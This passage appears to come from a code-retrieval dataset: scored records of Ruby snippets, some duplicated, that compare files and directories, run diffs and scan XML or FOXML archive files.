"text": "def compareDirs(iDir1, iDir2)\n rResult = false\n\n # First, the contents\n lDir1Content = []\n Dir.glob(\"#{iDir1}/*\").each do |iFileName|\n if (iFileName[-12..-1] != '.WEACEBackup')\n lDir1Content << File.basename(iFileName)\n end\n end\n lDir2Content = []\n Dir.glob(\"#{iDir2}/*\").each do |iFileName|\n lDir2Content << File.basename(iFileName)\n end\n if (lDir1Content.size == lDir2Content.size)\n # Get the list of files and directories\n rResult = true\n lFiles = []\n lDirs = []\n lDir2Content.each do |iFileName|\n if (lDir1Content.index(iFileName) == nil)\n # A difference\n log_err \"File #{iFileName} exists in #{iDir2}, but not in #{iDir1}.\"\n rResult = false\n break\n end\n end\n lDir1Content.each do |iFileName|\n if (lDir2Content.index(iFileName) == nil)\n # A difference\n log_err \"File #{iFileName} exists in #{iDir1}, but not in #{iDir2}.\"\n rResult = false\n break\n end\n if (File.directory?(\"#{iDir1}/#{iFileName}\"))\n if (File.directory?(\"#{iDir2}/#{iFileName}\"))\n lDirs << iFileName\n else\n # A difference\n log_err \"Directory #{iFileName} from #{iDir1} is a file in #{iDir2}.\"\n rResult = false\n break\n end\n elsif (!File.directory?(\"#{iDir2}/#{iFileName}\"))\n lFiles << iFileName\n else\n # A difference\n log_err \"File #{iFileName} from #{iDir1} is a directory in #{iDir2}.\"\n rResult = false\n break\n end\n end\n if (rResult)\n # Now we compare each directory\n lDirs.each do |iDir|\n rResult = compareDirs(\"#{iDir1}/#{iDir}\", \"#{iDir2}/#{iDir}\")\n if (!rResult)\n break\n end\n end\n if (rResult)\n # Now we compare each file\n lFiles.each do |iFile|\n rResult = compareFiles(\"#{iDir1}/#{iFile}\", \"#{iDir2}/#{iFile}\")\n if (!rResult)\n break\n end\n end\n end\n end\n else\n log_err \"Number of files differ from #{iDir1} (#{lDir1Content.size} files), and #{iDir2} (#{lDir2Content.size} files).\"\n end\n\n return rResult\n end",
"title": ""
},
{
"docid": "28f08f7b67a2f58562e82021c72ee1b4",
"score": "0.5305891",
"text": "def identical_files? reference_file, other_file\n File.exists?(other_file) && FileUtils.identical?(reference_file, other_file)\nend",
"title": ""
},
{
"docid": "246528a139903c0a8fe69c8547b49a68",
"score": "0.5305312",
"text": "def files_same?(file1, file2) \n if (File.size(file1) != File.size(file2)) then\n return false\n end\n f1 = IO.readlines(file1)\n f2 = IO.readlines(file2)\n if ((f1 - f2).size == 0) then\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "246528a139903c0a8fe69c8547b49a68",
"score": "0.5305312",
"text": "def files_same?(file1, file2) \n if (File.size(file1) != File.size(file2)) then\n return false\n end\n f1 = IO.readlines(file1)\n f2 = IO.readlines(file2)\n if ((f1 - f2).size == 0) then\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "48e043016455c2970f8c0c8f9aa4c619",
"score": "0.5291265",
"text": "def load_files \n repfiles = @rep.xpath('mets:mets/mets:fileSec//mets:file', TIPR::NS)\n \n # Map to [filepath, checksum], and update fid_map\n repfiles.map do |f|\n file = f.xpath('mets:FLocat/@xlink:href', TIPR::NS).first.content\n sum = f.xpath('@CHECKSUM', TIPR::NS).first.content\n id = f.xpath('@ID', TIPR::NS).first.content\n s = SIPFile.new(file, sum)\n @fid_map[:\"#{id}\"] = s\n s\n end\n \n end",
"title": ""
},
{
"docid": "8ea8a413861a6f0237891a7fd27b4cdd",
"score": "0.5285928",
"text": "def files_same?(file1, file2)\n if (File.size(file1) != File.size(file2)) then\n return false\n end\n f1 = IO.readlines(file1)\n f2 = IO.readlines(file2)\n if ((f1 - f2).size == 0) then\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "4bbf1f9579d1c793e6ce50e27741ece7",
"score": "0.5274172",
"text": "def test_two_files\n assert_equal -1, @file_check.one_file(2)\n end",
"title": ""
},
{
"docid": "0d6f2588f3e1a7f7a2eb72a199828fc0",
"score": "0.52640647",
"text": "def locate_results_files\n\n #puts \"in TimeEstimPar:locate_gene_results_files() call super\"\n #call TimeEstim\n super\n #puts \"in TimeEstimPar:locate_gene_results_files() returned from super\"\n #sys \"cat #{@output_path} | wc \"\n #@treepl_cfg_tree_f = \"#{@timed_tr_d}/gene_res.cfg\"\n #! local files should not have gene identifier\n #should be anonymous, identification elements outside filename\n #\n #@beast_cfg_tree_f = \"#{@timed_tr_d}/gene_beast.xml\"\n end",
"title": ""
},
{
"docid": "cf3dab4db4d1433114bf1f8f97da9eb1",
"score": "0.52588826",
"text": "def compare_file(file)\n candidates = possible_candidates_for(file)\n candidates = SignatureMatrix.filter_candidates(file, candidates)\n file.compare_to_candidates(candidates)\n end",
"title": ""
},
{
"docid": "e04ad28cb676c8ae36c0390f81dfde2e",
"score": "0.5253955",
"text": "def compare_files\n need_copy = Array.new\n FileUtils.rm_rf(Dir[File.join(CUR_FOLDER, '/compare/*')])\n search_exists_files.each do |name|\n compare_result = Diffy::Diff.new(File.dirname(CUR_FOLDER + name), File.join(GEM_FOLDER, '../sources', name), :source => 'files', :format => :html)\n unless compare_result.to_s(:text).empty?\n need_copy.push(name)\n FileUtils.mkdir_p 'compare'\n File.open(File.join(CUR_FOLDER, '/compare/', \"#{File.basename(name, \".*\")}.html\"), \"w:UTF-8\") do |file|\n add_css_style(file)\n file.puts(compare_result.to_s(:html))\n end\n end\n end\n\n return need_copy\nend",
"title": ""
},
{
"docid": "28edd58a69ad622c6d9cddb1b399d4da",
"score": "0.52493674",
"text": "def compare_tree(left, right, path)\n lpath = File.join(left, path)\n rpath = File.join(right, path)\n\n ltype = file_type(lpath)\n rtype = file_type(rpath)\n\n if ltype == :absent && rtype == :absent\n # neither file exists\n puts colorize(\"??????? #{path} absent on both sides\", :magenta)\n true\n elsif rtype == :absent\n # file only on left side\n puts colorize(\"- #{render_node(path, ltype)}\", :red)\n false\n elsif ltype == :absent\n # file only on right side\n puts colorize(\"+ #{render_node(path, rtype)}\", :green)\n false\n elsif ltype != rtype\n # file types don't match\n puts colorize(\"- #{render_node(path, ltype)}\", :red)\n puts colorize(\"+ #{render_node(path, rtype)}\", :green)\n false\n elsif ltype == :file\n # both files\n lhash = file_hash(lpath)\n rhash = file_hash(rpath)\n if lhash == rhash\n puts colorize(\" #{render_node(path, ltype)}\", :cyan) if $verbose\n true\n else\n puts colorize(\"~ #{path}\", :yellow)\n if $diff_glob && File.fnmatch($diff_glob, path)\n puts `#{$diff_command} #{lpath} #{rpath}`\n puts colorize('~', :yellow)\n end\n false\n end\n elsif ltype == :directory\n # both directories\n child_paths(path, lpath, rpath).map do |child|\n compare_tree(left, right, child)\n end.all?\n else\n # don't know how to compare\n puts colorize(\"Don't know how to compare #{path} (#{ltype})\", :magenta)\n false\n end\nend",
"title": ""
},
{
"docid": "572997ac3acf433a3cc16a66dacb49e9",
"score": "0.5244705",
"text": "def scan_files\n\t\tLogger.send(\"warn\",\"[Apimo] Start scan files\")\n\t\t@result[:description] << \"[Apimo] Start scan files\"\n\n\t\turi = create_uri\n\t\tLogger.send(\"warn\", \"Loading from URI #{uri}\")\n\t\t@result[:description] << \"Loading from URI #{uri}\"\n\t\tdata = \"\"\n\t\tbegin\n\t\t\turiOpener \t= open(URI.encode(uri))\n\t\t\tdata \t\t= uriOpener.read\n\t\t\tdata.gsub!(/&([^ ;]{0,20}) /,\"&#{'\\1'} \") #remplace le signe & par son equivalent HTML : &\n\t\t\t### check if the file is a well formated xml ###\n\t\trescue\n\t\t\tLogger.send(\"warn\",\"Failure: (#{$!})\")\n\t\t\t@result[:description] << \"Failure: (#{$!})\"\n\t\t\treturn false\n\t\tend\n\t\tdata.gsub!(/^.*<DateDerniereModificationAnnonce>.*<\\/DateDerniereModificationAnnonce>.*$/,\"\")\n\t\t# check if the xlm returned by the uri have been already downloaded\n\n\t\treturn unless ExecutionSourceFile.where(:hashsum => (Digest::MD5.hexdigest data)).select{ |e| e.execution && e.execution.passerelle == @passerelle }.empty?\n\t\te \t\t\t\t= Execution.new\n\t\te.passerelle \t= @passerelle\n\t\te.statut \t\t= \"nex\"\n\t\te.save!\n\n\t\tf = ExecutionSourceFile.from_data(\"data_file\", data, e)\n\n\t\te.execution_source_file = f\n\t\te.save!\n\tend",
"title": ""
},
{
"docid": "91008cbfaeedd17733d8a571cf5ba9b6",
"score": "0.52391183",
"text": "def test_fqfilesandlocalfiles\n dir = tempfile\n Dir.mkdir(dir)\n importer = File.join(dir, \"site.pp\")\n fullfile = File.join(dir, \"full.pp\")\n localfile = File.join(dir, \"local.pp\")\n\n files = []\n\n File.open(importer, \"w\") do |f|\n f.puts %{import \"#{fullfile}\"\\ninclude full\\nimport \"local.pp\"\\ninclude local}\n end\n\n fullmaker = tempfile\n files << fullmaker\n\n File.open(fullfile, \"w\") do |f|\n f.puts %{class full { file { \"#{fullmaker}\": ensure => file }}}\n end\n\n localmaker = tempfile\n files << localmaker\n\n File.open(localfile, \"w\") do |f|\n f.puts %{class local { file { \"#{localmaker}\": ensure => file }}}\n end\n\n parser = mkparser\n parser.file = importer\n\n # Make sure it parses\n assert_nothing_raised {\n parser.parse\n }\n\n # Now make sure it actually does the work\n assert_creates(importer, *files)\n end",
"title": ""
},
{
"docid": "9170ba5a058748b1314e57842e61d11b",
"score": "0.52314913",
"text": "def least_covered_file; end",
"title": ""
},
{
"docid": "844374b38ef1a4427c620d0e3c2f22a6",
"score": "0.5230768",
"text": "def _test_interface(test_info)\n File.write(test_info.actual_file_path, '') if File.exist?(test_info.actual_file_path)\n yield\n diffs = diff_files(test_info.expected_file_path, test_info.actual_file_path)\n unless diffs.empty?\n puts 'EXPECTED'\n puts File.read(test_info.expected_file_path)\n puts 'ACTUAL'\n puts File.read(test_info.actual_file_path)\n puts 'END'\n end\n assert_empty(diffs, test_info.actual_file_path)\n end",
"title": ""
},
{
"docid": "fc7403a75e60297498398e48a1b7c163",
"score": "0.5228298",
"text": "def check_missing_files_real_estate(fid)\n docname_files= DocumentName.find(:all,:conditions=>[\"is_deleted = ? and folder_id = ? and is_master = ? and real_estate_property_id is not NULL and due_date is not NULL and document_id is NULL\",false,fid,0])\n doc_files = Document.find(:all,:conditions=>[\"is_deleted = ? and folder_id = ? and is_master = ? and real_estate_property_id is not NULL and due_date is NOT NULL\",false,fid,0])\n missing_files = docname_files + doc_files\n is_missing_files = missing_files.empty? ? \"no\" : \"yes\"\n return is_missing_files\n end",
"title": ""
},
{
"docid": "3df30be4adfec832b7b75f4e821760c2",
"score": "0.52228117",
"text": "def CompareContents(changedDirectory)\n puts \"Checking status of: #{changedDirectory}\"\n baseName = File.basename(changedDirectory)\n hashDataFile = \"#{changedDirectory}/metadata/#{baseName}.md5\"\n allFiles = Dir.glob(\"#{changedDirectory}/**/*\").reject { |line| (File.directory?(line) || line.include?('/metadata')) }\n hashData = File.readlines(hashDataFile).reject { |line| line.include?('/metadata') }\n hashFileList = Array.new\n currentFileList = Array.new\n hashData.each do |hashLine|\n filepath = hashLine.split(',./')[1]\n if ! filepath.nil?\n hashFileList << File.basename(filepath).chomp\n end\n end\n\n allFiles.each do |file|\n currentFileList << File.basename(file)\n end\n\n #lazy cleanup\n hashFileList.delete_if {|line| line.include?('/metadata')}\n hashFileList.delete('Thumbs.db')\n currentFileList.delete('filename')\n currentFileList.delete('Thumbs.db')\n\n if currentFileList.sort == hashFileList.uniq.sort\n purple(\"Will verify hashes for existing files\")\n log_premis_pass(changedDirectory,__method__.to_s)\n manifest_status = 'no change'\n fixity_check = check_old_manifest(changedDirectory)\n contents_results = [manifest_status]\n fixity_check.each { |check| contents_results << check }\n else\n newFiles = (currentFileList - hashFileList.uniq)\n missingFiles = (hashFileList.uniq - currentFileList)\n if ! newFiles.empty? && missingFiles.empty?\n manifest_status = 'new files'\n log_premis_fail(changedDirectory,__method__.to_s)\n purple(\"Will verify hashes for existing files\")\n fixity_check = check_old_manifest(changedDirectory)\n contents_results = [manifest_status]\n fixity_check.each { |check| contents_results << check }\n elsif ! missingFiles.empty?\n log_premis_fail(changedDirectory,__method__.to_s)\n manifest_status = 'missing files'\n contents_results = [manifest_status, missingFiles, newFiles]\n end\n end\n return contents_results\nend",
"title": ""
},
{
"docid": "20b3a461ce5d5e7414b983cb64d60394",
"score": "0.5209967",
"text": "def test_files\n @config.do.link_files.each_pair do |source, target|\n unless File.exist? @config.deploy_folder.join(source.to_s)\n raise ArgumentError, \"Please verify this file exist: #{@config.deploy_folder.join(source.to_s)}\"\n end\n end\n self\n end",
"title": ""
},
{
"docid": "e88b96622852e43ab4036272636f276c",
"score": "0.52086747",
"text": "def refute_file_content_equal(file1, file2, msg = nil)\n refute_equal(File.read(file1), File.read(file2), msg)\n end",
"title": ""
},
{
"docid": "c6473a7c940aa65e4436ab785f30cd2c",
"score": "0.52056575",
"text": "def file_list\n end",
"title": ""
},
{
"docid": "b7187a81e8d3a8fba81611f20aae69f2",
"score": "0.5197017",
"text": "def testList2DeliverablesSameVersionedObject\n setRepository('2Deliverables') do |iRepoDir|\n lOutputFileName = \"#{iRepoDir}/OutputList.conf.rb\"\n runFSCMS(['ListFiles', '--', '--target', 'TestType/TestID/0.1/TestDeliverable1', '--target', 'TestType/TestID/0.1/TestDeliverable2', '--output', lOutputFileName])\n assert(File.exists?(lOutputFileName))\n File.open(lOutputFileName, 'r') do |iFile|\n assert_equal( {\n 'TestType/TestID/0.1/TestDeliverable1' => {\n :Sources => [\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile1\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile2\",\n \"#{iRepoDir}/TestType/TestID/0.1/metadata.conf.rb\"\n ],\n :ManualDeliverables => [],\n :ManualMissingDeliverables => [],\n :Work => [],\n :Temp => [],\n :AutoDeliverables => [],\n :AutoMissingDeliverables => [ 'TestType/TestID/0.1/TestDeliverable1' ]\n },\n 'TestType/TestID/0.1/TestDeliverable2' => {\n :Sources => [\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile1\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile2\",\n \"#{iRepoDir}/TestType/TestID/0.1/metadata.conf.rb\"\n ],\n :ManualDeliverables => [],\n :ManualMissingDeliverables => [],\n :Work => [],\n :Temp => [],\n :AutoDeliverables => [],\n :AutoMissingDeliverables => [ 'TestType/TestID/0.1/TestDeliverable2' ]\n }\n }, eval(iFile.read))\n end\n end\n end",
"title": ""
},
{
"docid": "d807c3224c90d580f18df0667c3a0f70",
"score": "0.5195722",
"text": "def ==(other)\n super &&\n @files == other.files &&\n @type == other.type &&\n @volume_id == other.volume_id\n end",
"title": ""
},
{
"docid": "77920eb76cc0c825cd1bc76c6cce6677",
"score": "0.51943475",
"text": "def ==( other_object )\n return false unless other_object.respond_to?(:file_name) && other_object.respond_to?(:entity_list) &&\n other_object.respond_to?(:context_list)\n (\n ( self.file_name == other_object.file_name ) &&\n ( self.entity_list == other_object.entity_list ) &&\n ( self.context_list == other_object.context_list )\n )\n end",
"title": ""
},
{
"docid": "faee6841e3d36ac8bea1922f54fe8f91",
"score": "0.5192599",
"text": "def equal?(file_1,file_2)\n content_1 = File.read(file_1)\n content_2 = File.read(file_2)\n content_1 == content_2\nend",
"title": ""
},
{
"docid": "f360bb95b92e0d7b58323701903fb415",
"score": "0.51873225",
"text": "def known_files\n unless @known_files then\n @known_files = Hash[*find_order.map { |f| [f, true] }.flatten]\n end\n @known_files\n end",
"title": ""
},
{
"docid": "ed7c6f39a5258fac332aee4d5606a84a",
"score": "0.51870835",
"text": "def test_003_md5_in_zipfilesystem_works\n file1 = Zip::ZipFile.open(@reference)\n file2 = Zip::ZipFile.open(@identical)\n directory_list1, file_list1 = ZipContentComparator.get_files_and_dirs_list(file1, '.')\n directory_list2, file_list2 = ZipContentComparator.get_files_and_dirs_list(file2, '.')\n assert_equal MD5.md5(file1.file.read(file_list1[0])),\n MD5.md5(file2.file.read(file_list2[0]))\n end",
"title": ""
},
{
"docid": "17afbc6155437cab1efada2f3c62c3af",
"score": "0.5185714",
"text": "def identical?(file1, file2)\n inode(file1) == inode(file2)\n end",
"title": ""
},
{
"docid": "a8552b164faf1bad6c0f186a467c19c2",
"score": "0.51818883",
"text": "def compare(packages, report, options = {})\n info 'Checking file lists...'\n\n @packages = packages\n\n # Check file lists from older versions to newer\n filter_params(SPEC_FILES_PARAMS, options[:param]).each do |param|\n all_same = true\n\n packages.each_with_index do |pkg, index|\n unpacked_gem_dirs[packages[index].spec.version] = extract_gem(pkg, options[:output])\n next if index == 0\n\n # File lists as arrays\n previous = value_from_spec(param, packages[index-1].spec)\n current = value_from_spec(param, pkg.spec)\n next unless (previous && current)\n\n vers = \"#{packages[index-1].spec.version}->#{packages[index].spec.version}\"\n\n deleted = previous - current\n added = current - previous\n same = current - added\n\n if options[:brief]\n deleted, dirs_added = dir_changed(previous, current)\n end\n\n report[param].set_header \"#{different} #{param}:\"\n\n report[param][vers].section do\n set_header \"#{Rainbow(packages[index-1].spec.version).cyan}->\" +\n \"#{Rainbow(packages[index].spec.version).cyan}:\"\n nest('deleted').section do\n set_header '* Deleted:'\n puts deleted unless deleted.empty?\n end\n\n nest('added').section do\n set_header '* Added:'\n puts dirs_added if options[:brief]\n end\n end\n # Add information about permissions, shebangs etc.\n report = check_added_files(param, vers, index, added, report, options[:brief], options[:diff])\n\n report[param][vers]['changed'].set_header '* Changed:'\n report = check_same_files(param, vers, index, same, report, options[:brief], options[:diff])\n same_files = report[param][vers]['changed'].messages.empty?\n all_same = false unless same_files\n\n if previous == current && same_files && !all_same\n report[param][vers] << \"#{Rainbow(packages[index-1].spec.version).cyan}->\" + \\\n \"#{Rainbow(packages[index].spec.version).cyan}: No change\"\n end\n\n end\n\n if all_same && options[:log_all]\n report[param].set_header \"#{same} #{param}:\"\n value = value_from_spec(param, @packages[0].spec)\n value = '[]' if value.empty?\n report[param] << value\n end\n end\n report\n end",
"title": ""
},
{
"docid": "760001c8c7355fed1de14a6181056fee",
"score": "0.5181398",
"text": "def files_missing\n # Use an instance var to cache the result so it only hits the filesystem once\n @files_missing_cached ||= Push::Ftp.errata_files_missing(self.errata)\n end",
"title": ""
},
{
"docid": "6617addba61cf178a6682128053575d5",
"score": "0.51762277",
"text": "def get_my_file(before, after)\r\n\t\tr = /\\<td\\>\\<a href\\=\\\"(\\d{4}\\-\\d{2}\\-\\d{2}\\_\\d+\\-\\d+\\-\\d+\\_\\d+\\.\\w+)\">\\d{4}\\-\\d{2}\\-\\d{2}\\_\\d+\\-\\d+\\-\\d+\\_\\d+\\.\\w+\\<\\/a\\>\\<\\/td\\>/\r\n\t\tb = (before.scan(r) || []).flatten\r\n\t\ta = (after.scan(r) || []).flatten\r\n\r\n\t\t# Return all the new uploads\r\n\t\treturn a - b\r\n\tend",
"title": ""
},
{
"docid": "ee25709a42802c98748659dd8d64fff1",
"score": "0.5173555",
"text": "def check_has_main(foxmlpath,outputfilename)\r\n\r\nlistfile = File.open( \"/home/dlib/lists/uniqueDSlists/\"+ outputfilename, \"a\")\r\nDir.foreach(foxmlpath)do |item|\r\n# we dont want to try and act on the current and parent directories\r\nnext if item == '.' or item == '..'\r\ndsmap = []\r\n path = foxmlpath +\"/\" + item.to_s\r\n\tputs \"working on \" + item.to_s\r\n\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n ns = doc.collect_namespaces\t\r\n\tds_ids = nil\r\n\tds_ids = doc.xpath(\"/foxml:digitalObject/foxml:datastream[@ID]\",ns) #KALE\r\n\tds_ids.each { |id| \t\r\n\t\tidname = id.attr('ID')\r\n\t\tidname = idname.to_s\r\n\t\tidstate = id.attr('STATE')\r\n\t\tif !dsmap.include? idname\r\n\t\t\tif idstate.to_s == \"A\"\r\n\t\t\t\tdsmap.push(idname)\r\n\t\t\tend\r\n\t\tend\t\r\n\t}\t\r\n\tif !dsmap.include? \"EXAM_PAPER\"\r\n\t\t\t\tputs \"this record had no EXAM_PAPER\"\t\t\t\t\r\n\t\t\t\tlistfile.puts(\"no active EXAM_PAPER in \" + item)\r\n\tend\t\r\nend\r\n listfile.close\r\n\tdoc = nil\r\n\tputs \"all done, written to /home/dlib/lists/uniqueDSlists/\" + outputfilename\r\nend",
"title": ""
},
{
"docid": "4ae54b50c68afaf2ae8ef1695aab11c3",
"score": "0.5172521",
"text": "def compare_html( file1, file2 )\n content1 = File.exists?(file1) ? File.open(file1) { |f| f.read } : nil\n content2 = File.exists?(file2) ? File.open(file2) { |f| f.read } : nil\n content1 = content1.empty? ? nil : content1.encode(content1.encoding, :universal_newline => true) unless content1.nil?\n content2 = content2.empty? ? nil : content2.encode(content2.encoding, :universal_newline => true) unless content2.nil?\n content1 == content2\n end",
"title": ""
},
{
"docid": "1f5831bdc91c2732dd7a4a9553f8fc73",
"score": "0.51584417",
"text": "def check_format_values(foxmlpath,outputfilename)\r\n \r\n\tvaluemap= []\r\n\tDir.foreach(foxmlpath)do |item|\t\r\n\t\tnext if item == '.' or item == '..'\r\n\t\tpath = foxmlpath +\"/\" + item.to_s\r\n\t\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n\t\tns = doc.collect_namespaces\r\n\t\t#not gonna worry about versions on this occasion, only expecting one\r\n\t\tformats = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion/foxml:xmlContent/oai_dc:dc/dc:format/text()\",ns)\r\n\t\tformats.each { |format|\r\n\t\t\tif !valuemap.include? format\r\n\t\t\t valuemap.push(format)\t\t\t\r\n\t\t\tend\r\n\t\t}\r\n\t\t\r\n\tend\r\n\tvaluemap.each {|v| \r\n\t\tlistfile = File.open( \"/home/dlib/lists/uniqueDSlists/\"+ outputfilename, \"a\")\r\n\t\t\t\tlistfile.puts(v)\r\n\t\t\t\tlistfile.close\r\n\t}\r\n\tdoc = nil\r\nend",
"title": ""
},
{
"docid": "a50cb095325f2acd6a22d6940f94a8e7",
"score": "0.51542956",
"text": "def files?\n not xml_files.empty?\n end",
"title": ""
},
{
"docid": "bd6b741f1d59652281b40635265f4dc4",
"score": "0.51525134",
"text": "def file_collision(destination); end",
"title": ""
},
{
"docid": "ee6c8140200db22d59befaac5dbf18da",
"score": "0.5148001",
"text": "def inspected_files=(_); end",
"title": ""
},
{
"docid": "655e69a96c7c17254dc9ad7e642137d5",
"score": "0.51464164",
"text": "def compare(input_file , output_file)\n\n\tfile1_lines = CSV.read(input_file)\n\tfile2_lines = CSV.read(output_file)\n\terror_count =0;\n\n\tfor i in 0..file1_lines.size\n\t if (file1_lines[i] == file2_lines[i])\n\t #puts \"Same #{file1_lines[i]}\"\n\t else\n\t puts \"#{file1_lines[i]} != #{file2_lines[i]}\"\n\t error_count += 1;\n\t end\n\tend\n\n\tputs \"Your out put has #{error_count} error(s) for #{input_file} & #{output_file}\"\nend",
"title": ""
},
{
"docid": "605a6bd28f00aebdb84134043f14efd7",
"score": "0.5139147",
"text": "def changed?(file); end",
"title": ""
},
{
"docid": "f13b0a3db36d8fd2e5f3f4f0c3bb476f",
"score": "0.51385134",
"text": "def file_diff(cfg)\n file_a = Tempfile.new('onescape-')\n file_b = Tempfile.new('onescape-')\n\n file_a.close\n file_b.close\n\n save(file_a.path)\n cfg.save(file_b.path)\n\n cmd = 'diff -ud --label old --label new ' \\\n \"#{file_a.path} #{file_b.path}\"\n\n out, _err, rtn = Base.run_shell_command(cmd)\n\n # Exit status is (based on diff manual page)\n # 0 if inputs are the same,\n # 1 if different,\n # 2 if trouble\n case rtn.exitstatus\n when 0\n nil\n when 1\n out\n else\n msg = 'Error generating diff'\n\n raise OneCfg::Exception::Generic, msg\n end\n ensure\n # TODO: is this better?\n file_a.unlink if defined?(file_a)\n file_b.unlink if defined?(file_b)\n end",
"title": ""
},
{
"docid": "085c20689e1530231fcd25eb7b99a4a3",
"score": "0.5137333",
"text": "def same_modification_as?(other_file)\n @file_modified && @file_modified == other_file.file_modified ? true : false\n end",
"title": ""
},
{
"docid": "c60059d4f1e22ee11e052debd199d62e",
"score": "0.51358515",
"text": "def processDatafiles\n sip_descriptor_node = @doc.find_first(\"//M:file[@USE='sip descriptor']\", NS_PREFIX)\n sip_descriptor_ownerid = sip_descriptor_node['OWNERID'] if sip_descriptor_node\n fileObjects = @doc.find(\"//premis:object[@xsi:type='file']\", NAMESPACES)\n \n obsolete_dfs = @doc.find(\"//mets:file[not(mets:FLocat)]\", NAMESPACES).map { |n| n['OWNERID'] }.to_set\n \n fileObjects.each do |obj| \n df = Datafile.new\n #GC.start\n #delta_stats\n \n df.fromPremis(obj, @formats, sip_descriptor_ownerid)\n unless obsolete_dfs.include? df.id\n @datafiles[df.id] = df\n @int_entity.datafiles << df\n end\n\n end\n end",
"title": ""
},
{
"docid": "a42ea3dcea59ca81aef53d447e5f29f9",
"score": "0.5135575",
"text": "def on_other_file\n # Typically do nothing here\n end",
"title": ""
},
{
"docid": "a0f708c9c6aeb2a2a111309a476fe3f4",
"score": "0.51330274",
"text": "def file_contents_match?(file1, file2)\n File.read(file1) == File.read(file2)\n end",
"title": ""
},
{
"docid": "5a378c6f8dc8efd495b96de6cc1b8cb0",
"score": "0.5132168",
"text": "def files_are_same?(rb_out_file, out_file)\n FileUtils.identical?(rb_out_file, out_file)\n end",
"title": ""
},
{
"docid": "7100f66646130e4e18e31e76fc28866a",
"score": "0.5131799",
"text": "def scan_files\n\tLogger.send(\"warn\",\"[APTALIS] Start scan files\")\n\t@result[:description] << \"[APTALIS] Start scan files\"\n \n\turi = create_uri\n\tLogger.send(\"warn\",\"Loading from URI #{uri}\")\n\t@result[:description] << \"Loading from URI #{uri}\"\n\tdata = \"\"\n begin\n uriOpener = open(URI.encode(uri))\n data = uriOpener.read\n data.gsub!(/&([^ ;]{0,20}) /,\"&#{'\\1'} \") #remplace le signe & par son equivalent HTML : &\n\t ### check if the file is a well formated xml ###\n rescue\n\t Logger.send(\"warn\",\"Failure: (#{$!})\")\n\t @result[:description] << \"Failure: (#{$!})\"\n return false\n end\n\tdata.gsub!(/^.*<DateDerniereModificationAnnonce>.*<\\/DateDerniereModificationAnnonce>.*$/,\"\")\n # check if the xlm returned by the uri have been already downloaded\n\t\n\treturn unless ExecutionSourceFile.where(:hashsum => (Digest::MD5.hexdigest data)).select{ |e| e.execution && e.execution.passerelle == @passerelle }.empty?\n e = Execution.new\n\te.passerelle = @passerelle\n\te.statut = \"nex\"\n\te.save!\n\t\n\tf = ExecutionSourceFile.from_data(\"data_file\", data, e)\n\t\n\te.execution_source_file = f\n\te.save!\n end",
"title": ""
},
{
"docid": "4471a6f4b88285eada0b3ccc3bb9b518",
"score": "0.51300997",
"text": "def test_files\r\n\t\[email protected](\"http://www.google.com\", \"c:\\\\temp\\\\google.com.html\")\r\n\t\[email protected](\"http://www.heise.de\", \"c:\\\\temp\\\\heise.de.html\")\r\n\t\tassert_equal(@job.files[0].remote_url, \"http://www.google.com\")\r\n\t\tassert_equal(@job.files[0].local_name, \"c:\\\\temp\\\\google.com.html\")\r\n\t\tassert_equal(@job.files[1].remote_url, \"http://www.heise.de\")\r\n\t\tassert_equal(@job.files[1].local_name, \"c:\\\\temp\\\\heise.de.html\")\r\n\tend",
"title": ""
},
{
"docid": "d3e6175e53b96ff518d7f036fec0b0eb",
"score": "0.5126208",
"text": "def file_diff(\n tag,\n file_new,\n file_old\n)\n rtn = []\n m_name = \"#{__method__}\"\n dbg_print( @dbg_lv, 3, m_name )\n dbg_print( @dbg_lv, 4, m_name, %w( tag file_new file_old ).collect { |a| \"ARGS:#{a}=#{(eval a).inspect}\" } )\n begin\n tag = \"#{tag}-#{(0..8).map{ charset.to_a[rand(charset.size)] }.join}\"\n IO.popen(\"diff #{file_new} #{file_old} 2>/dev/null\").each_line { |l|\n rtn << l.strip\n }\n if not rtn.empty? # Write out diffs if any ...\n dbg_print( @dbg_lv, 5, m_name, \"Diff found [#{tag}]\" )\n diff_log = File.open( @settings['DIFFLOG'], 'a+' )\n rtn.each { |l| diff_log.puts \"#{time_now}::#{tag}::#{l}\" }\n diff_log.close\n end\n rescue\n # Log but ignore ...\n log_error( m_name, [$!.to_s.strip] )\n end\n return rtn\nend",
"title": ""
},
{
"docid": "cb453e06ddef9bdac35b5009d392758d",
"score": "0.5125691",
"text": "def file_list\n uuid = params[:uuid]\n dir = \"#{Dest}/#{uuid}\"\n @logs = \"\"\n flist = []\n \n FileUtils.cd(Dest) {\n Find.find(uuid) { |file|\n flist.push(file)\n }\n }\n \n # Only match in the meta_data directory, and then, only certain\n # files. get_file() is hard coded only to serve files from the\n # meta_data dir, so no point in matching anything else.\n\n # Also match bag.zip in the main directory. It might be smarter to\n # put bag.zip in the meta data directory, but bag.zip isn't meta\n # data so I'm resisiting the notion of moving bag.zip into the\n # meta data dir.\n\n flist.sort.each { |file|\n bname = File.basename(file)\n if ((file.match(Meta) &&\n (md = bname.match(Mets_file) ||\n md = bname.match(Generic_xml))) ||\n md = file.match(\"#{uuid}/#{Bagit_file}\"))\n fn = md[0]\n # print \"Found: #{fn}\\n\";\n @logs.concat(\"<a href=\\\"get_file?uuid=#{uuid}&file=#{fn}\\\">#{file}</a>\\n\")\n else\n @logs.concat(\"#{file}\\n\")\n end\n }\n\n # See rubymatica.rb. Returns a list of hash.\n\n @loh = Rubymatica.get_droid(uuid)\n\n # Build a new hash where the keys are rmatic_category from the db\n # and the value is the count of files in that category. Read the\n # PUID data from puid.db. Compare it to the list of hash from the\n # file list above. Variable ps is a processed SQL query\n # result. ps.loh() is a list-of-hash where there is one list\n # element per record, and the SQL fields become hash keys from each\n # record.\n\n # Variable @loh is a list-of-hash for the Droid file\n # identifications. rh is memnonic for \"ruby hash\" a generic\n # variable name. Look at each file and check it against each of\n # the PUID loh values looking for PUID matches. Increment 